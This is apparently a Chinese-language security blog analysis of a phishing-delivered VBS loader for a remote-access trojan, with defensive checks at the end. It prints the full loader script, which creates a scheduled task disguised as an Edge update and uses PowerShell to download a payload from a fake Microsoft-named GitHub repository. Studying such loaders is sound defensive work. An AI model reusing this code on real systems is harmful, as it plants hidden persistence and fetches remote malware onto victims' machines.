未分类 · ARTICLE

一个通过钓鱼邮件传播的 RAT 远程控制木马加载器

本文分析了一种通过钓鱼邮件传播的远程控制木马加载器。攻击者利用深度混淆的脚本在后台隐藏启动命令行程序,随后创建伪装成浏览器更新组件的计划任务以实现持久化。该任务每九分钟自动执行一次,并通过脚本从仿冒机构的代码托管平台下载恶意文件,将其重命名后保存至公共目录。整个攻击链虽技术门槛较低,但巧妙利用了用户对系统组件与知名平台的信任心理,有效规避了常规安全检测,提示安全人员需重点排查异常计划任务与可疑网络请求。

1.木马行为

今天发现一个通过网络钓鱼传播的有趣 RAT(远程访问木马)

该 VBS 脚本在执行隐藏的 `cmd.exe` 之前,对字符串进行了深度混淆处理,其主要行为包括:

钓鱼邮件/附件
        |
        v
    xxx.vbs
        |
        v
隐藏执行 cmd.exe
        |
        +--> 创建计划任务持久化
        |
        +--> 下载 GoogleSpace.dat
        |
        +--> 保存为 GoogleServices.vbs (%PUBLIC%\Music\GoogleServices.vbs)
        |
        v
每9分钟执行一次 
        |
        v
RAT 主程序运行

恶意脚本地址:https://github.com/microsoft-services/ 目前无法打开了

Dim shell
Dim command

#执行 CMD - 修改系统配置 - 调用 PowerShell
Set shell = CreateObject("WScript.Shell")

command = "cmd /C " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "schtasks /create " & _
        " /tn ""MicrosoftEdgeUpdateTaskMachineCore{4CL34008-390A-4893-S0C9-C8B34D3846D8}"" " & _
        " /tr ""%PUBLIC%\Music\GoogleServices.vbs"" " & _
        " /sc minute /mo 9 /f & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "powershell iwr " & _
        "'https://github.com/microsoft-services/staff/releases/download/v0.0.3/GoogleSpace.dat'" & _
        " -OutFile ""%env:PUBLIC%\Music\GoogleServices.vbs"" & " & _
    "choice /n /c y /d y /t 30 >nul & " & _
    "exit"

#  参数0 隐藏执行窗口 
shell.Run command, 0

2.攻击过程分析

攻击者首先通过钓鱼邮件或恶意附件让受害者执行一个经过字符串混淆处理的 VBS 脚本。脚本本身并没有直接展示明显的恶意窗口,而是通过 WScript.Shell 在后台启动隐藏的 cmd.exe,从而尽量避免用户察觉。

脚本执行后首先进行一段延迟操作,通过 Windows 自带的 choice 命令等待约 30 秒。随后,它使用 schtasks 创建一个 Windows 计划任务,并将任务伪装成类似 Microsoft Edge 更新组件的名称:MicrosoftEdgeUpdateTaskMachineCore{GUID}。从任务名称来看很容易让人误以为这是 Edge 的正常更新任务,但实际上任务执行的程序位于 %PUBLIC%\Music\GoogleServices.vbs,与正常的 Microsoft Edge 更新机制明显不符。

创建计划任务后,脚本再次等待约 30 秒,然后通过 PowerShell 的 Invoke-WebRequest(缩写为 iwr)从一个 GitHub Releases 地址下载名为 GoogleSpace.dat 的文件。这个 GitHub 仓库使用了 microsoft-services 这样的名称来伪装成微软相关项目,但它并不是微软官方的 GitHub 组织。攻击者利用 GitHub 的高信誉域名作为载荷分发渠道,可以让下载行为看起来更加正常,同时也可能绕过部分基于域名信誉的安全检测。

下载完成后,GoogleSpace.dat 被保存到 C:\Users\Public\Music\GoogleServices.vbs。也就是说,攻击者将一个 .dat 文件下载下来后重新命名成 .vbs 脚本,并放置在所有用户都可以访问的 Public 目录中。文件名称 GoogleServices.vbs 同样具有一定的伪装性,很容易让人联想到 Google 服务组件。

最关键的持久化机制是前面创建的计划任务。该任务被设置为每 9 分钟执行一次,因此即使恶意进程被终止,只要脚本文件仍然存在,计划任务就可能再次启动它。攻击者同时使用类似 Microsoft Edge 更新任务的名称进行伪装,使管理员在检查 Windows 计划任务时更容易忽略它。

因此,整个攻击链可以概括为:受害者执行钓鱼投递的 VBS → VBS 隐藏启动 CMD → 延迟执行 → 创建伪装成 Microsoft Edge 更新任务的计划任务 → 再次延迟 → 从伪装的 GitHub 仓库下载 GoogleSpace.dat → 将其保存为 GoogleServices.vbs → 计划任务每 9 分钟再次执行该脚本。真正值得进一步分析的并不是这个第一阶段 VBS,而是下载下来的 GoogleSpace.dat,因为它很可能才是后续 RAT 或其他恶意载荷。

这是一个典型的 VBS Loader,通过伪装 Edge 更新任务实现每 9 分钟持久化,然后从伪微软 GitHub 仓库下载 RAT 主载荷。技术并不高级,但利用了用户信任 Windows/GitHub/Microsoft 名称的心理。

3.检查&建议

查看计划任务

schtasks /query | findstr Edge

建议禁用VBS执行

#禁用 Windows Script Host(VBS/WSH)
reg add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
#恢复使用
reg add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f
#检查状态
reg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled

 

← 返回内容

COMMENTS

评论 0

提交后需审核通过才会显示 · 登录后使用账户昵称